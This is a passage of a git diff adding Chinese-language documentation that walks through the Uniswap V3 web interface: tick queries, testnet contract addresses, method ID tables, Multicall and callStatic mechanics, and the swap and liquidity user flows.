+## allV3Ticks
+
+查询给定地址的 Pool 上，所有 ticks 的状态
+
+查询示例
+
+```graphql
+{
+  ticks(
+    first: 1000,
+    skip: 0,
+    where: {
+      // USDC-WETH 0.3%
+      poolAddress: "0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640"
+    },
+    orderBy: tickIdx
+  ) {
+    tickIdx
+    liquidityNet
+    price0
+    price1
+  }
+}
+```
+
+返回示例 tickIdx 从 -887270 到 201400 升序排列
+
+```js
+{
+  "data": {
+    "ticks": [
+      {
+        "liquidityNet": "0",
+        "price0": "0.000000000000000000000000000000000000002939544628336670031698378204689082",
+        "price1": "340188745685363564484273285553137100000",
+        "tickIdx": "-887270"
+      },
+      {
+        "liquidityNet": "0",
+        "price0": "0.00000000000000355174820366365708320222765548087",
+        "price1": "281551490324818.6029024621894650913",
+        "tickIdx": "-332730"
+      },
+      ...
+      {
+        "liquidityNet": "-1544280459011946",
+        "price0": "556953948.7168119249654500816462514",
+        "price1": "0.000000001795480582019284128971952747346669",
+        "tickIdx": "201390"
+      },
+      {
+        "liquidityNet": "-11794625",
+        "price0": "557511153.3616518307383631680060072",
+        "price1": "0.000000001793686088556707568330086674308272",
+        "tickIdx": "201400"
+      }
+    ]
+  }
+}
+```
\ No newline at end of file
diff --git a/defi/Uniswap-V3/InterfaceGuide/InfoList.md b/defi/Uniswap-V3/InterfaceGuide/InfoList.md
new file mode 100644
index 000000000..fc6417ffe
--- /dev/null
+++ b/defi/Uniswap-V3/InterfaceGuide/InfoList.md
@@ -0,0 +1,113 @@
+# 相关信息列表
+
+## 演示环境
+
+- rinkeby 测试网络
+- V3SwapRouter `0xE592427A0AEce92De3Edee1F18E0157C05861564`
+- PositionManager `0xC36442b4a4522E871399CD717aBDD847Ab11FE88`
+- 自定义 token HEHE(HH) `0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85`
+- HHH-WETH-Pool `0x2c0bd19fc5f7e8e01530f2822bf1a2fb15d3d70b`
+- HHH-WETH-NFT, position id: `5264`, price range: 90.168 - 109.91 (HH per ETH)
+- HHH-WETH-NFT, position id: `5266`, price range: 100.45 - 101.06 (HH per ETH)
+- 测试网 DAI `0xc7AD46e0b8a400Bb3C915120d284AafbA8fc4735`
+
+## 相关合约的 Methodid
+
+### PositionManager(NFT/ERC721)
+
+| method name                                                                                     | method id  |
+| ----------------------------------------------------------------------------------------------- | ---------- |
+| DOMAIN_SEPARATOR()                                                                              | 0x3644e515 |
+| PERMIT_TYPEHASH()                                                                               | 0x30adf81f |
+| WETH9()                                                                                         | 0x4aa4a4fc |
+| approve(address,uint256)                                                                        | 0x095ea7b3 |
+| balanceOf(address)                                                                              | 0x70a08231 |
+| baseURI()                                                                                       | 0x6c0360eb |
+| burn(uint256)                                                                                   | 0x42966c68 |
+| collect(tuple(uint256,address,uint128,uint128))                                                 | 0xfc6f7865 |
+| createAndInitializePoolIfNecessary(address,address,uint24,uint160)                              | 0x13ead562 |
+| decreaseLiquidity(tuple(uint256,uint128,uint256,uint256,uint256))                               | 0x0c49ccbe |
+| factory()                                                                                       | 0xc45a0155 |
+| getApproved(uint256)                                                                            | 0x081812fc |
+| increaseLiquidity(tuple(uint256,uint256,uint256,uint256,uint256,uint256))                       | 0x219f5d17 |
+| isApprovedForAll(address,address)                                                               | 0xe985e9c5 |
+| mint(tuple(address,address,uint24,int24,int24,uint256,uint256,uint256,uint256,address,uint256)) | 0x88316456 |
+| multicall(bytes[])                                                                              | 0xac9650d8 |
+| name()                                                                                          | 0x06fdde03 |
+| ownerOf(uint256)                                                                                | 0x6352211e |
+| permit(address,uint256,uint256,uint8,bytes32,bytes32)                                           | 0x7ac2ff7b |
+| positions(uint256)                                                                              | 0x99fbab88 |
+| refundETH()                                                                                     | 0x12210e8a |
+| safeTransferFrom(address,address,uint256)                                                       | 0x42842e0e |
+| safeTransferFrom(address,address,uint256,bytes)                                                 | 0xb88d4fde |
+| selfPermit(address,uint256,uint256,uint8,bytes32,bytes32)                                       | 0xf3995c67 |
+| selfPermitAllowed(address,uint256,uint256,uint8,bytes32,bytes32)                                | 0x4659a494 |
+| selfPermitAllowedIfNecessary(address,uint256,uint256,uint8,bytes32,bytes32)                     | 0xa4a78f0c |
+| selfPermitIfNecessary(address,uint256,uint256,uint8,bytes32,bytes32)                            | 0xc2e3140a |
+| setApprovalForAll(address,bool)                                                                 | 0xa22cb465 |
+| supportsInterface(bytes4)                                                                       | 0x01ffc9a7 |
+| sweepToken(address,uint256,address)                                                             | 0xdf2ab5bb |
+| symbol()                                                                                        | 0x95d89b41 |
+| tokenByIndex(uint256)                                                                           | 0x4f6ccce7 |
+| tokenOfOwnerByIndex(address,uint256)                                                            | 0x2f745c59 |
+| tokenURI(uint256)                                                                               | 0xc87b56dd |
+| totalSupply()                                                                                   | 0x18160ddd |
+| transferFrom(address,address,uint256)                                                           | 0x23b872dd |
+| uniswapV3MintCallback(uint256,uint256,bytes)                                                    | 0xd3487997 |
+| unwrapWETH9(uint256,address)                                                                    | 0x49404b7c |
+
+### ERC20
+
+| method name        | method id  |
+| ------------------ | ---------- |
+| DEFAULT_ADMIN_ROLE | 0xa217fddf |
+| INITIAL_SUPPLY     | 0x2ff2e9dc |
+| MINTER_ROLE        | 0xd5391393 |
+| PAUSER_ROLE        | 0xe63ab1e9 |
+| allowance          | 0xdd62ed3e |
+| approve            | 0x095ea7b3 |
+| balanceOf          | 0x70a08231 |
+| burn               | 0x42966c68 |
+| burnFrom           | 0x79cc6790 |
+| decimals           | 0x313ce567 |
+| decreaseAllowance  | 0xa457c2d7 |
+| getRoleAdmin       | 0x248a9ca3 |
+| getRoleMember      | 0x9010d07c |
+| getRoleMemberCount | 0xca15c873 |
+| grantRole          | 0x2f2ff15d |
+| hasRole            | 0x91d14854 |
+| increaseAllowance  | 0x39509351 |
+| mint               | 0x40c10f19 |
+| name               | 0x06fdde03 |
+| pause              | 0x8456cb59 |
+| paused             | 0x5c975abb |
+| renounceRole       | 0x36568abe |
+| revokeRole         | 0xd547741f |
+| supportsInterface  | 0x01ffc9a7 |
+| symbol             | 0x95d89b41 |
+| totalSupply        | 0x18160ddd |
+| transfer           | 0xa9059cbb |
+| transferFrom       | 0x23b872dd |
+| unpause            | 0x3f4ba83a |
+
+### SwapRouter(V3)
+
+| method name                                                                              | method id  |
+| ---------------------------------------------------------------------------------------- | ---------- |
+| WETH9()                                                                                  | 0x4aa4a4fc |
+| exactInput(tuple(bytes,address,uint256,uint256,uint256))                                 | 0xc04b8d59 |
+| exactInputSingle(tuple(address,address,uint24,address,uint256,uint256,uint256,uint160))  | 0x414bf389 |
+| exactOutput(tuple(bytes,address,uint256,uint256,uint256))                                | 0xf28c0498 |
+| exactOutputSingle(tuple(address,address,uint24,address,uint256,uint256,uint256,uint160)) | 0xdb3e2198 |
+| factory()                                                                                | 0xc45a0155 |
+| multicall(bytes[])                                                                       | 0xac9650d8 |
+| refundETH()                                                                              | 0x12210e8a |
+| selfPermit(address,uint256,uint256,uint8,bytes32,bytes32)                                | 0xf3995c67 |
+| selfPermitAllowed(address,uint256,uint256,uint8,bytes32,bytes32)                         | 0x4659a494 |
+| selfPermitAllowedIfNecessary(address,uint256,uint256,uint8,bytes32,bytes32)              | 0xa4a78f0c |
+| selfPermitIfNecessary(address,uint256,uint256,uint8,bytes32,bytes32)                     | 0xc2e3140a |
+| sweepToken(address,uint256,address)                                                      | 0xdf2ab5bb |
+| sweepTokenWithFee(address,uint256,address,uint256,address)                               | 0xe0e189a0 |
+| uniswapV3SwapCallback(int256,int256,bytes)                                               | 0xfa461e33 |
+| unwrapWETH9(uint256,address)                                                             | 0x49404b7c |
+| unwrapWETH9WithFee(uint256,address,uint256,address)                                      | 0x9b2c0a37 |
diff --git a/defi/Uniswap-V3/InterfaceGuide/Multicall.md b/defi/Uniswap-V3/InterfaceGuide/Multicall.md
new file mode 100644
index 000000000..ab8008612
--- /dev/null
+++ b/defi/Uniswap-V3/InterfaceGuide/Multicall.md
@@ -0,0 +1,247 @@
+# Multicall 模块解析
+
+> 项目中几乎所有对于合约的 call 都是通过 Multicall 模块发送给 Multicall 合约，进行批量请求
+
+:warning: **本文档侧重解析 V3 和 V2 的区别**，建议先看 [V2 Multicall 解析文档](../../Uniswap-V2/Interface/Multicall.md)
+
+![Multicall](./xmind/Multicall-min.png)
+
+详细结构与调用关系图示 :point_right: [Multicall](./xmind/Multicall.png)
+
+## 模块的特性
+
+Multicall 使用链上的 Multicall 合约进行批量请求的模块，其具备以下特点：
+
+- 针对请求的三个要素(合约地址/调用方法/调用参数)进行归档并建立追踪机制
+  - 请求失败自动重连
+  - 监听相关状态的改变(如区块高度，chainid 变化)，及时取消无用的请求，及时更新过期的数据
+- 批量化请求
+  - 将不同请求合并为一个个批次同时发送，节省 gas 费用
+  - 保证每个请求批次不会超过最大 gas 限制
+- `useSingleContractMultipleData` 对同一个合约发起批量的请求(同一个方法,但参数不同)
+- `useMultipleContractSingleData` 对多个合约发起相同方法和参数的请求
+- `useSingleCallResult` 调用一个合约的单次请求
+
+三种调用方法的对比
+
+| Multicall function            | contract address | contract methode | inputsdata |
+| ----------------------------- | ---------------- | ---------------- | ---------- |
+| useSingleContractMultipleData | 单个             | 相同             | 不同       |
+| useMultipleContractSingleData | 多个             | 相同             | 不同       |
+| useSingleCallResult           | 单个             | 相同             | 相同       |
+
+## MulticallContract
+
+这是一个辅助批量请求的合约，主要方法是 `aggregate`
+
+- V3 使用的是 `Multicall2` 合约
+  - 地址： `0x5BA1e12693Dc8F9c48aAD8770482f4739bEeD696`
+  - 增加了 `tryAggregate` 方法，允许批量调用中存在失败的调用，用户设置 `requireSuccess` 为 false 时，不会因为某一个调用失败而终止执行，而是将所有调用执行完成后，返回所有调用结果和报错
+- 遍历循环入参 calls，逐个调用目标合约的方法
+- 将调用结果 `ret`，存入 `returnData[]` 中
+- 如果遍历过程中某一方法失败，会终止执行所有进程
+- 全部成功，将全部结果返回给调用者
+
+```solidity
+/**
+ *Submitted for verification at Etherscan.io on 2021-03-23
+*/
+
+pragma solidity >=0.5.0;
+pragma experimental ABIEncoderV2;
+
+/// @title Multicall2 - Aggregate results from multiple read-only function calls
+/// @author Michael Elliot <mike@makerdao.com>
+/// @author Joshua Levine <joshua@makerdao.com>
+/// @author Nick Johnson <arachnid@notdot.net>
+
+contract Multicall2 {
+    struct Call {
+        address target;
+        bytes callData;
+    }
+    struct Result {
+        bool success;
+        bytes returnData;
+    }
+
+    function aggregate(Call[] memory calls) public returns (uint256 blockNumber, bytes[] memory returnData) {
+        blockNumber = block.number;
+        returnData = new bytes[](calls.length);
+        for(uint256 i = 0; i < calls.length; i++) {
+            (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData);
+            require(success, "Multicall aggregate: call failed");
+            returnData[i] = ret;
+        }
+    }
+    ...
+    function tryAggregate(bool requireSuccess, Call[] memory calls) public returns (Result[] memory returnData) {
+        returnData = new Result[](calls.length);
+        for(uint256 i = 0; i < calls.length; i++) {
+            (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData);
+
+            if (requireSuccess) {
+                require(success, "Multicall2 aggregate: call failed");
+            }
+
+            returnData[i] = Result(success, ret);
+        }
+    }
+    function tryBlockAndAggregate(bool requireSuccess, Call[] memory calls) public returns (uint256 blockNumber, bytes32 blockHash, Result[] memory returnData) {
+        blockNumber = block.number;
+        blockHash = blockhash(block.number);
+        returnData = tryAggregate(requireSuccess, calls);
+    }
+}
+```
+
+## V3 和 V2 的差别
+
+### IheritMulticall
+
+V3 的大部分周边合约都继承了一个名为`Multicall`的合约，其中有一个 `multicall(bytes[] calldata data)` 方法，所以 Manager 合约本身就是可以被`multicall`方法调用的（单独部署的 Multicall2 合约是为了方便调用非 UniswapV3 的合约，比如 ERC20 的 balanceOf）。
+
+- 这里主要为了实现批量调用的同时，返回其中的 revert 信息
+- V3 合约部分信息没有提供查询方法，比如预估交易进出的数量(可能是因为合约规模太大，已经达到 gas 限制)
+- 支持批量 revert 查询查询
+
+批量捕获 revert
+
+- 通常 revert 消息可以在 try...catch...语句中捕获，但不包括 `call`, `delegatecall` 等底层方法，所以需要使用操作码来捕获信息
+- revert 信息的读取：
+  - revert 的数据大概是这样的：`{Error(string)的二进制码}`4 字节 + `data offset` 32 字节 + `data length` 32 字节 + `string data` + 32 字节
+  - 如果返回是 revert 且带消息，其长度一定大于 68 （`result.length < 68` 的情况可以排除）
+  - `result := add(result, 0x04)` 是将返回内存的指针向右移动 4 字节，忽略掉 `{Error(string)的二进制码}`，否则无法解析
+  - 最后使用 `abi.decode` 解析出字符串
+- [revert - solidity document](https://docs.soliditylang.org/en/latest/control-structures.html#revert)
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity =0.7.6;
+pragma abicoder v2;
+
+import '../interfaces/IMulticall.sol';
+
+/// @title Multicall
+/// @notice Enables calling multiple methods in a single call to the contract
+abstract contract Multicall is IMulticall {
+    /// @inheritdoc IMulticall
+    function multicall(bytes[] calldata data) external payable override returns (bytes[] memory results) {
+        results = new bytes[](data.length);
+        for (uint256 i = 0; i < data.length; i++) {
+            (bool success, bytes memory result) = address(this).delegatecall(data[i]);
+
+            if (!success) {
+                // Next 5 lines from https://ethereum.stackexchange.com/a/83577
+                // If the result length is less than 68, then the transaction failed silently (without a revert message)
+                if (result.length < 68) revert();
+                assembly {
+                    result := add(result, 0x04)
+                }
+                revert(abi.decode(result, (string)));
+            }
+
+            results[i] = result;
+        }
+    }
+}
+```
+
+### fetchChunk
+
+调用 Multicall2 合约的 `multicall` 方法
+
+- 使用 `ethers.Contract.callStatic` 静态调用 （继承了）`Multicall2` 合约的 `multicall` 方法
+- `ethers.callStatic` 的解析 [参见下方 callstatic](#callstatic):point_down:
+
+```ts
+const DEFAULT_GAS_REQUIRED = 1_000_000;
+
+/**
+ * Fetches a chunk of calls, enforcing a minimum block number constraint
+ * @param multicall multicall contract to fetch against
+ * @param chunk chunk of calls to make
+ * @param blockNumber block number passed as the block tag in the eth_call
+ */
+async function fetchChunk(
+  multicall: UniswapInterfaceMulticall,
+  chunk: Call[],
+  blockNumber: number
+): Promise<{ success: boolean; returnData: string }[]> {
+  console.debug('Fetching chunk', chunk, blockNumber);
+  try {
+    // 这里是V3和V2的主要差别
+    // multicall代表调用合约继承了Multicall合约
+    // callStatic是ethers的方法，不会产生gas费用
+    const { returnData } = await multicall.callStatic.multicall(
+      chunk.map((obj) => ({
+        target: obj.address,
+        callData: obj.callData,
+        // 因为可能调用的是需要消耗gas的方法，所以必须设置一个gasLimit
+        // 当然调用最终被revert，不会有gas费用
+        gasLimit: obj.gasRequired ?? DEFAULT_GAS_REQUIRED,
+      })),
+      { blockTag: blockNumber }
+    );
+
+    if (process.env.NODE_ENV === 'development') {
+      returnData.forEach(({ gasUsed, returnData, success }, i) => {
+        if (!success && returnData.length === 2 && gasUsed.gte(Math.floor((chunk[i].gasRequired ?? DEFAULT_GAS_REQUIRED) * 0.95))) {
+          console.warn(`A call failed due to requiring ${gasUsed.toString()} vs. allowed ${chunk[i].gasRequired ?? DEFAULT_GAS_REQUIRED}`, chunk[i]);
+        }
+      });
+    }
+
+    return returnData;
+  } catch (error) {
+    if (error.code === -32000 || error.message?.indexOf('header not found') !== -1) {
+      throw new RetryableError(`header not found for block number ${blockNumber}`);
+    }
+    console.error('Failed to fetch chunk', error);
+    throw error;
+  }
+}
+```
+
+### callStatic
+
+- `ethers.callStatic` 底层实际上是 `jsonRpcProvider.send('call', args)`, 即 json-rpc 的 `eth_call` 接口
+- `eth_call` 是 EVM 对链上合约发起的 `message call`，会假装消耗 gas 发送交易，EVM 会当作真实交易执行，把数据返回给调用者，**但是不会改变链上的任何数据**
+- V3 中使用了这个技巧，使其可以不产生 gas 费的情况下查询一些不能直接获取的状态，比如预估交易的 tokenIn 或 tokenOut 数量
+- [message call](https://docs.soliditylang.org/en/latest/introduction-to-smart-contracts.html#message-calls)
+- [ethers.contract.callStatic](https://docs.ethers.io/v5/api/contract/contract/#contract-callStatic)
+- [json-rpc eth_call](https://eth.wiki/json-rpc/API#eth_call)
+
+说明用例
+
+```solidity
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity >=0.8.7;
+
+contract SimpleStorage {
+    uint256 storedData;
+
+    function set(uint256 x) public returns (uint256) {
+        storedData = x;
+        // 用staticCall调用 这里依然会返回计算后的结果
+        // 但是不会改变链上的状态
+        return storedData;
+    }
+
+    function get() public view returns (uint256) {
+        return storedData;
+    }
+}
+```
+
+```ts
+// test file
+it('test ethers.staticCall', async function () {
+  // simpleStorage 是一个ethers.Contract 类的实例
+  const callStaticRes = await simpleStorage.callStatic.set(1);
+  // callStatic 的结果应该是改变后的结果
+  expect(callStaticRes).to.equals(1);
+  // 但实际链上的数据是没有变化的
+  expect(await simpleStorage.get()).to.equal(0);
+});
+```
diff --git a/defi/Uniswap-V3/InterfaceGuide/UsageAndStates.md b/defi/Uniswap-V3/InterfaceGuide/UsageAndStates.md
new file mode 100644
index 000000000..0ca229fd3
--- /dev/null
+++ b/defi/Uniswap-V3/InterfaceGuide/UsageAndStates.md
@@ -0,0 +1,243 @@
+# Usage and States
+
+> V3 的用户交互流程及状态变化<br>
+> 追踪交互动作与状态数据变化的关系，可以帮助我们更好的理解程序运行的逻辑
+
+:warning: **本文档侧重解析 V3 和 V2 的区别**，建议先看 [UniswapV2Interface UsageAndStates](../../Uniswap-V2/Interface/UsageAndStates.md)
+
+## 准备工作
+
+### 分析工具
+
+下面是两个 react 官方的 chrome 插件，用于辅助开发 react 应用
+
+- ReactDeveloperTools 快速定位组件在源码中的位置
+- ReduxDevTools 追踪程序运行过程中 redux 状态的变化
+
+### 演示环境和相关数据
+
+- rinkeby 测试网络
+- V3SwapRouter `0xE592427A0AEce92De3Edee1F18E0157C05861564`
+- PositionManager `0xC36442b4a4522E871399CD717aBDD847Ab11FE88`
+- HHH-WETH-Pool `0x2c0bd19fc5f7e8e01530f2822bf1a2fb15d3d70b`
+- HHH-WETH-Pool, position id: `5264`, price range: 90.168 - 109.91 (HH per ETH)
+- HHH-WETH-Pool, position id: `5266`, price range: 100.45 - 101.06 (HH per ETH)
+- 自定义 token HEHE(HH) `0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85`
+- 测试网 DAI `0xc7AD46e0b8a400Bb3C915120d284AafbA8fc4735`
+
+详细请戳这里 :point_right:[相关辅助数据](./InfoList.md)
+
+## Swap
+
+token 交易界面
+
+详细代码解析请戳这里 :point_right: [Swap 代码解析](./Code.md#Swap)
+
+### 交互流程
+
+swap 的交互流程和 V2 一致，内部逻辑的主要区别如下：
+
+- 根据模式匹配滑点百分比：V3，V2， layer2
+- 预估交易量不在是本地利用 sdk 计算，而是使用去调用 Quoter 合约查询，最后通过 revert 拿到预计的交易量
+  - Quoter 合约会真实调用 Pool 的 swap 函数，而 swap 函数又会去调用 Quoter 合约的 uniswapV3SwapCallback 回调函数
+  - 回调函数中会把得到的输入输出量，作为 revert 信息传回
+  - 因为 V2 直接可用 x\*y=k 的公式计算，而 V3 的交易过程非常复杂，是分段执行，并且每段的状态都不一样
+
+### 交易对流动性的影响
+
+:warning: **以下所有操作都在 Rinkeby 测试网中进行，并不是主网真实数据，仅作演示用，不构成任何投资建议**
+
+现在有两个 HHH-WETH 的 position（流动性头寸）
+
+- 窄区间 HHH-WETH-Pool, position id: `5264`, price range: 90.168 - 109.91 (HH per ETH)
+- 宽区间 HHH-WETH-Pool, position id: `5266`, price range: 100.45 - 101.06 (HH per ETH)
+
+当前价格 100.471 (HH per ETH)
+
+- 窄区间资金利用率更高，可以认为同样的交易量情况下，收取的手续费更多，但同时承受了更大的风险
+- 当价格变动时，流动性 position 实际上是在和市场中的交易者做对手盘
+  - 比如当 ETH 下跌时，市场大部分交易者会卖出 ETH 换出 HH
+  - 对于 position 来说，就是被动的买入了 ETH,卖出了 HH，于是内部的 ETH 变多， HH 变少
+  - 如果价格滑出了价格区间，position 中就会变成单一资产，并且一定是当时处于弱势的资产
+  - position 处于 `outOfRange` 状态，不但资产被迫变成单一资产，且不再参与手续费的分享
+
+现在用 ETH 买入 20 个 HH, 价格变为 98.9205 (HH per ETH)
+
+- 窄区间流动性内 HH 被耗尽，全部转为 ETH，变成 `outOfRange` 状态，不能参与手续费的分享
+
+然后用 20 个 HH 买入 ETH, 价格变为 100.469 (HH per ETH)
+
+- 价格又回到了窄区间内，其内部会变回两种资产，并且可以参与手续费的分享
+
+通常来说做市会尽量避免 `outOfRange` ，不过这种特性也可以用来做平滑的交易，即特意设置一个大概率会 `outOfRange` 的窄区间，故意让价格穿过，将资产 A 平滑的换成资产 B。
+
+## PoolList
+
+页面的命名是 Pool 列表，但实际上主要展示的是用户的 position。
+
+### PositionList
+
+根据用户账户地址向 Manager 合约查询他的所有 position
+
+- 调用 Manager 合约的 balanceOf 方法查询用户有多少个 position
+- 调用 Manager 合约的 tokenOfOwnerByIndex 方法查询每个 position 的 tokenId
+- 调用 Manager 合约的 positions getter 方法查询每个 position 的具体数据
+
+### CollectFee
+
+查询可回收的手续费
+
+详细代码解析请戳这里 :point_right: [CollectFee 代码解析](./Code.md#CollectFee)
+
+### 交互流程
+
+- 通过 `ethers.callStatic` 方法，静态调用(不会真实消耗 gas) Manager 合约的 collect 函数，得到最新的可回收手续费的数量。
+  - 从 Manager 的 positions getter 函数可以获取到手续费数量的数据
+  - 但这个数据不是最新的，因为 Manager 中的 position 的手续费只有在用户添加或删除流动性时才会触发去 Pool 合约中查询最新数据
+  - Manager 合约和 Pool 合约都存有 position 数据，但是 Pool 合约不会存储用户相关的信息，并且仅限 Pool 合约所对应的交易对；而 Manager 中会针对用户存储其所有交易对的全部 position 信息
+
+回收手续费
+
+- 这里就是真实的发送交易，触发 `Manager.collect()` 回收手续费，该方法会让 Pool 合约将手续费转给用户
+
+## AddLiquidity
+
+添加流动性
+
+详细代码解析请戳这里 :point_right: [AddLiquidity 代码解析](./Code.md#AddLiquidity)
+
+### init state
+
+```ts
+mintV3: {
+  independentField: 'CURRENCY_A', // 输入数量使用的 tokenA还是tokenB
+  typedValue: '',             // 注入多少流动性（token的数量，输入一种会自动计算另一种）
+  startPriceTypedValue: '',   // 当创建Pool时，设置的初始价格
+  leftRangeTypedValue: '',    // 价格区间下限
+  rightRangeTypedValue: ''    // 价格区间上限
+}
+```
+
+### 路由参数
+
+- currencyIDA/B token 的地址
+- feeAmount 费率水平 `feeAmount / 10**6` %, 例如 feeAmount=3000 即表示 0.3%的费率
+- tokenId 流动性 position 在 Manager 合约内的 tokenID（NFT ID）
+
+```ts
+`#/add/${currencyIDA}/${currencyIDB}/${feeAmount}/${tokenId}`;
+```
+
+### 使用流程
+
+#### 选择 token 和费率水平
+
+- 用户在 Pool 页面点击 `New Position` 按钮，进入新建 Position 页面（流动性头寸）
+  - 此时浏览器路由为 `/#/add/ETH`
+  - 默认 tokenA 是 ETH，浏览器路由第一个参数是 `/ETH` (只有 ETH 以别名表示，通常以 token 地址表示)
+  - 当用户选择 token 时，路由参数会跟随变动，这里选择 ETH-HHH 作为交易对，路由则变为 `#/add/ETH/0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85`
+- `useFeeTierDistribution` 会去检索低中高三档费率的 Pool 是否存在，费率选择的选项会相应的做出可选和不可选的状态变化
+- 用户选择费率 0.3%，路由会添加 `feeAmount` 参数为 3000
+
+#### 创建流动性池子
+
+- 如果选择的费率还未有池子，界面会出现 `Gas 费将比平时高一些` 的警告，这是因为比普通添加流动性多调用了 manager 合约的 `createAndInitializePoolIfNecessary` 方法，多出的 gas 费消耗除了部署 Pool 合约之外，主要还有下列开销
+  - 初始化 Pool 的 slot0 插槽变量
+  - 还要初始化 Oracle 相关的 storage 存储变量。初始化是必须的，但是创建 Pool 的用户通常不是 Oracle 的使用者，所以并不会将 65535 个存储空间全部初始化，而只初始化 1 个
+- 初始创建流动性还需要用户输入初始价格
+- 输入价格区间
+  - 由于V3的价格不是连续的数轴，而是一个个tick组成的离散的点，并且根据费率不同tick之间还会存在tickSpacing间隔
+  - 所以用户输入的数值通常不能正在卡在tick所代表的价格上，每当输入完成，程序会自动匹配最近的tick，然后修改输入值
+  - tick代表的价格是 `sqrt(1.0001) ** i`，i为tick的序号，所以价格是不连续的，离散的点
+  - tick的序号是 `int24` 类型，所以有最大和最小范围 [参见合约导读 TickBitmap](../contractGuide/Tick.md#TickBitmap)
+- 点击 `Preview` 按钮
+  - 如果是 `OPTIMISM` 和其测试网，需要先点击 `Create` 按钮，单独发一笔交易创建 Pool 合约
+  - 其他网络则直接 `Preview` 按钮，发送一笔交易同时完成创建和添加流动性
+
+#### 已有流动性池子
+
+- 如果已经有流动性，此时 `LiquidityChartRangeInput` 组件会渲染出当前处于激活状态的头寸分步图
+  - `usePoolActiveLiquidity` 首先根据当前交易价格筛选出 Pool 中所有处于激活状态的 position
+  - 遍历计算每个 tick 上的处于激活状态的流动性总和 `liquidityActive`
+  - 生成每个 tick 上的活跃流动性的数量，计算逻辑 [参见下方 :point_down:](#computeLiquidityActive)
+- 此时如果有流动性数据，会自动计算出一个合适的价格区间
+  - 自动计算的区间的逻辑是根据三档费率固定设置的比例
+  - 即自动计算费率只跟你选择的费率等级相关，且是固定值，比较鸡肋……
+
+### computeLiquidityActive
+
+关于每个 tick 上激活状态的流动性数量计算
+
+- Pool 合约保存的 liquidity 变量是当前处于激活状态的 position 的流动性总和，即价格区间包含当前价格的所有流动性
+- 所以当前价格对应 tick 可直接赋值为合约中的变量 `Pool.liquidity`,即为函数中的 `liquidityActive`
+- `liquidityNet` 是 Pool 合约在每个 tick 上存储的一个用于计算的数据，其主要有 6 种变化的情况，参见下方表格
+- 如果向后（更高价格）遍历
+  - 若 `liquidityNet` > 0, 说明该 tick 上以此作为 Lower price 的流动性更多
+  - 若 `liquidityNet` < 0, 说明该 tick 上以此作为 Upper price 的流动性更多
+  - 当价格移动到此处，流动性需要做加法
+- 如果向前（更低价格）遍历，由于价格已经穿过了这些 tick，其 net 值已经反号
+  - 若 `liquidityNet` > 0, 说明该 tick 上以此作为 Upper price 的流动性更多
+  - 若 `liquidityNet` < 0, 说明该 tick 上以此作为 Lower price 的流动性更多
+  - 当价格移动到此处，流动性需要做减法
+
+流动性的操作对 `liquidityNet` 的影响
+
+| liquidity 操作 | tick 所在位置 | liquidityNet 运算   |
+| -------------- | ------------- | ------------------- |
+| Add            | Lower         | `+= deltaLiquidity` |
+| Add            | Upper         | `-= deltaLiquidity` |
+| Remove         | Lower         | `-= deltaLiquidity` |
+| Remove         | Upper         | `+= deltaLiquidity` |
+
+交易的操作对 `liquidityNet` 的影响
+
+| 价格穿过 tick 的方向 | liquidityNet 运算 |
+| -------------------- | ----------------- |
+| -->                  | 保持不变          |
+| <--                  | `= -liquidityNet` |
+
+### ZOOM_LEVELS
+
+根据不同费率设置的三档初始价格区间比例
+
+- `initialLeftprice = initialMin * currentPrice`
+- `initialRightprice = initialMax * currentPrice`
+- 上述是以 token1 的价格计算，如果是 token0 则左右参数颠倒
+
+```ts
+const ZOOM_LEVELS: Record<FeeAmount, ZoomLevels> = {
+  [FeeAmount.LOW]: {
+    initialMin: 0.999,
+    initialMax: 1.001,
+    min: 0.00001,
+    max: 1.5,
+  },
+  [FeeAmount.MEDIUM]: {
+    initialMin: 0.5,
+    initialMax: 2,
+    min: 0.00001,
+    max: 20,
+  },
+  [FeeAmount.HIGH]: {
+    initialMin: 0.5,
+    initialMax: 2,
+    min: 0.00001,
+    max: 20,
+  },
+};
+```
+
+## RemoveLiquidity
+
+移除流动性头寸(position)
+
+详细代码解析请戳这里 :point_right: [RemoveLiquidity 代码解析](./Code.md#RemoveLiquidity)
+
+### 交互流程
+
+- 用户选择要移除的百分比
+- `useDerivedV3BurnInfo` 预估用户移除的流动性返回多少 token 和手续费
+  - @uniswap/v3-sdk/Position 可以根据移除的 liquidity 数量预估返回的 token 数量
+  - 获取可回收的手续费数量，方法和 [CollectFee](#CollectFee) 一样
+  - 判断是否 outOfRange
+- 确认移除发送交易
diff --git a/defi/Uniswap-V3/InterfaceGuide/readme.md b/defi/Uniswap-V3/InterfaceGuide/readme.md
new file mode 100644
index 000000000..02c8a0612
--- /dev/null
+++ b/defi/Uniswap-V3/InterfaceGuide/readme.md
@@ -0,0 +1,82 @@
+# UniswapV3 Interface Guide
+
+> Interface 是 User Interface 的含义，此为Uniswap网站的代码，包括token交易,添加和移除流动性等功能。<br>
+> 代码分析使用版本 `tag 4.12.8`<br>
+
+:warning: **本文档侧重解析 V3 和 V2 的区别**，建议先看 [UniswapV2Interface 解析文档](../../Uniswap-V2/Interface/readme.md)
+
+## 技术栈
+
+主要使用的技术栈
+
+- 搭建框架 `React`,  `React-dom`, `React-router-dom`
+- 状态管理 `react-redux`, `@reduxjs/toolkit`, 
+- Web3 `ethers`,  `typechain`, `@web3-react`
+- Uniswap相关依赖 `sdk-core`, `v2-core`, `v2-periphery`, `v2-sdk`, `v3-core`, `v3-periphery`,  `v3-sdk`, `token-list`, `liquidity-staker` ...
+- 缓存管理 `workbox`
+- UI 样式、动效、组件、图标、字体、数据展示、语言国际化、交互事件、色彩、文档等
+- 工具类
+
+
+了解详细的技术栈图示请戳这里 :point_right:[Interface 技术栈详细图示](./xmind/Stacks.png)
+
+## 需要提前了解的知识点
+
+- [React Hooks](https://zh-hans.reactjs.org/docs/hooks-intro.html)
+- [Reduxjs Toolkit (Redux的官方工具集)](https://redux-toolkit.js.org/introduction/getting-started)
+- [TypeScript](https://www.typescriptlang.org/docs/handbook/intro.html)
+- [@web3-react](https://github.com/NoahZinsmeister/web3-react)
+- [Ethers.js-v5](https://docs.ethers.io/v5/)
+
